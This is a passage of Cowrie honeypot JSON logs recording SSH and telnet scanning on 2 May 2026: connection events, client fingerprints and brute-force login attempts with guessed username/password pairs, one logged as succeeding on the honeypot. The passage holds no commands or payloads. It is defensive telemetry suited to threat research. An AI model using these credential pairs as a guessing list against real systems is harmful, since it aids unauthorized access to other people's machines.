af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:29.320684Z","src_ip":"150.95.157.171","session":"4592368c0dcb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:29.989104Z","src_ip":"150.95.157.171","session":"4592368c0dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:30.152482Z","src_ip":"150.95.157.171","session":"209254d36d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:30.157730Z","src_ip":"150.95.157.171","session":"4592368c0dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":60350,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e0ad27dd2e2","protocol":"ssh","message":"New connection: 205.254.166.101:60350 (159.203.135.109:22) [session: 7e0ad27dd2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:36.371386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:36.376847Z","src_ip":"205.254.166.101","session":"7e0ad27dd2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:36.588413Z","src_ip":"205.254.166.101","session":"7e0ad27dd2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111","message":"login attempt [user/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:37.447284Z","src_ip":"205.254.166.101","session":"7e0ad27dd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36088,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cedb3be4b29","protocol":"telnet","message":"New connection: 134.209.8.29:36088 (159.203.135.109:23) [session: 7cedb3be4b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:37.852469Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:38.657770Z","src_ip":"205.254.166.101","session":"7e0ad27dd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":47812,"dst_ip":"159.203.135.109","dst_port":23,"session":"68392afce44a","protocol":"telnet","message":"New connection: 194.233.64.34:47812 (159.203.135.109:23) [session: 68392afce44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:41.142638Z"}
{"eventid":"cowrie.session.closed","duration":30.673351526260376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:45.238659Z","src_ip":"194.233.64.34","session":"3b258a7c9c98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54034,"dst_ip":"159.203.135.109","dst_port":23,"session":"141812e89798","protocol":"telnet","message":"New connection: 134.209.8.29:54034 (159.203.135.109:23) [session: 141812e89798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:48.156522Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54050,"dst_ip":"159.203.135.109","dst_port":23,"session":"af09b7272415","protocol":"telnet","message":"New connection: 134.209.8.29:54050 (159.203.135.109:23) [session: af09b7272415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:50.949030Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":51356,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0abf7e3382","protocol":"ssh","message":"New connection: 147.50.231.135:51356 (10.17.0.5:22) [session: 8a0abf7e3382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:53.681633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:53.686608Z","src_ip":"147.50.231.135","session":"8a0abf7e3382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:53.949328Z","src_ip":"147.50.231.135","session":"8a0abf7e3382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2020","message":"login attempt [admin/2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:55.034184Z","src_ip":"147.50.231.135","session":"8a0abf7e3382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.95.250.151","src_port":43102,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b89f4e8021f","protocol":"telnet","message":"New connection: 181.95.250.151:43102 (10.17.0.5:23) [session: 9b89f4e8021f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:55.595755Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:56.303424Z","src_ip":"147.50.231.135","session":"8a0abf7e3382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55906,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8498295f533","protocol":"telnet","message":"New connection: 134.209.8.29:55906 (159.203.135.109:23) [session: a8498295f533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:32:57.461497Z"}
{"eventid":"cowrie.session.closed","duration":37.80344557762146,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:00.463337Z","src_ip":"134.209.8.29","session":"3fc9fa7a9c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51786,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a2d66a8f52","protocol":"telnet","message":"New connection: 38.54.119.93:51786 (10.17.0.5:23) [session: f9a2d66a8f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:01.927252Z"}
{"eventid":"cowrie.session.closed","duration":86.86151838302612,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:04.280862Z","src_ip":"134.209.8.29","session":"e034943bb1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55978,"dst_ip":"159.203.135.109","dst_port":23,"session":"b44341448a20","protocol":"telnet","message":"New connection: 134.209.8.29:55978 (159.203.135.109:23) [session: b44341448a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:06.819831Z"}
{"eventid":"cowrie.session.closed","duration":12.705142736434937,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:08.300770Z","src_ip":"181.95.250.151","session":"9b89f4e8021f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55990,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a34e7593c53","protocol":"telnet","message":"New connection: 134.209.8.29:55990 (159.203.135.109:23) [session: 2a34e7593c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:09.236986Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ec62a96ee8","protocol":"telnet","message":"New connection: 38.54.119.93:57996 (10.17.0.5:23) [session: 90ec62a96ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:11.066370Z"}
{"eventid":"cowrie.session.closed","duration":31.23201560974121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:12.374561Z","src_ip":"194.233.64.34","session":"68392afce44a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.21.233.243","src_port":42539,"dst_ip":"10.17.0.5","dst_port":23,"session":"22de381b9841","protocol":"telnet","message":"New connection: 14.21.233.243:42539 (10.17.0.5:23) [session: 22de381b9841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:17.561316Z"}
{"eventid":"cowrie.session.closed","duration":43.75699853897095,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:21.609104Z","src_ip":"134.209.8.29","session":"7cedb3be4b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":34292,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ac7590cfb6","protocol":"ssh","message":"New connection: 150.95.157.171:34292 (10.17.0.5:22) [session: 36ac7590cfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:22.114372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:22.119698Z","src_ip":"150.95.157.171","session":"36ac7590cfb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:22.280502Z","src_ip":"150.95.157.171","session":"36ac7590cfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:22.926739Z","src_ip":"150.95.157.171","session":"36ac7590cfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:24.091879Z","src_ip":"150.95.157.171","session":"36ac7590cfb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40682506561279,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:25.355718Z","src_ip":"134.209.8.29","session":"af09b7272415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.743332862854004,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:30.304522Z","src_ip":"14.21.233.243","session":"22de381b9841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.78188991546631,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:32.938273Z","src_ip":"134.209.8.29","session":"141812e89798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":38123,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c9580673fb","protocol":"ssh","message":"New connection: 69.164.217.74:38123 (10.17.0.5:22) [session: f2c9580673fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:33.827432Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:34.587774Z","src_ip":"69.164.217.74","session":"f2c9580673fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58488,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78518d7341b","protocol":"telnet","message":"New connection: 134.209.8.29:58488 (159.203.135.109:23) [session: c78518d7341b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:36.999388Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58482,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f2f5ed8ec5","protocol":"telnet","message":"New connection: 134.209.8.29:58482 (159.203.135.109:23) [session: 97f2f5ed8ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:37.257154Z"}
{"eventid":"cowrie.session.closed","duration":39.84996271133423,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:37.311334Z","src_ip":"134.209.8.29","session":"a8498295f533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d13fdfc6bc2","protocol":"telnet","message":"New connection: 134.209.8.29:47088 (159.203.135.109:23) [session: 3d13fdfc6bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:42.918267Z"}
{"eventid":"cowrie.session.closed","duration":44.52777647972107,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:46.454886Z","src_ip":"38.54.119.93","session":"f9a2d66a8f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50082,"dst_ip":"159.203.135.109","dst_port":23,"session":"54cc54708287","protocol":"telnet","message":"New connection: 134.209.8.29:50082 (159.203.135.109:23) [session: 54cc54708287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:47.182907Z"}
{"eventid":"cowrie.session.closed","duration":10.62976360321045,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:47.886799Z","src_ip":"134.209.8.29","session":"97f2f5ed8ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50090,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e701513e75","protocol":"telnet","message":"New connection: 134.209.8.29:50090 (159.203.135.109:23) [session: 29e701513e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:48.348905Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50104,"dst_ip":"159.203.135.109","dst_port":23,"session":"342ec8436920","protocol":"telnet","message":"New connection: 134.209.8.29:50104 (159.203.135.109:23) [session: 342ec8436920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:49.394471Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":39324,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c2e1c7cc55e","protocol":"ssh","message":"New connection: 205.254.166.101:39324 (159.203.135.109:22) [session: 7c2e1c7cc55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:51.753917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:51.758773Z","src_ip":"205.254.166.101","session":"7c2e1c7cc55e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":58322,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50312c47e09","protocol":"ssh","message":"New connection: 147.50.231.135:58322 (10.17.0.5:22) [session: b50312c47e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:51.928961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:51.933692Z","src_ip":"147.50.231.135","session":"b50312c47e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:51.967402Z","src_ip":"205.254.166.101","session":"7c2e1c7cc55e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:52.201066Z","src_ip":"147.50.231.135","session":"b50312c47e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456!@","message":"login attempt [root/admin123456!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:52.828507Z","src_ip":"205.254.166.101","session":"7c2e1c7cc55e","protocol":"ssh"}
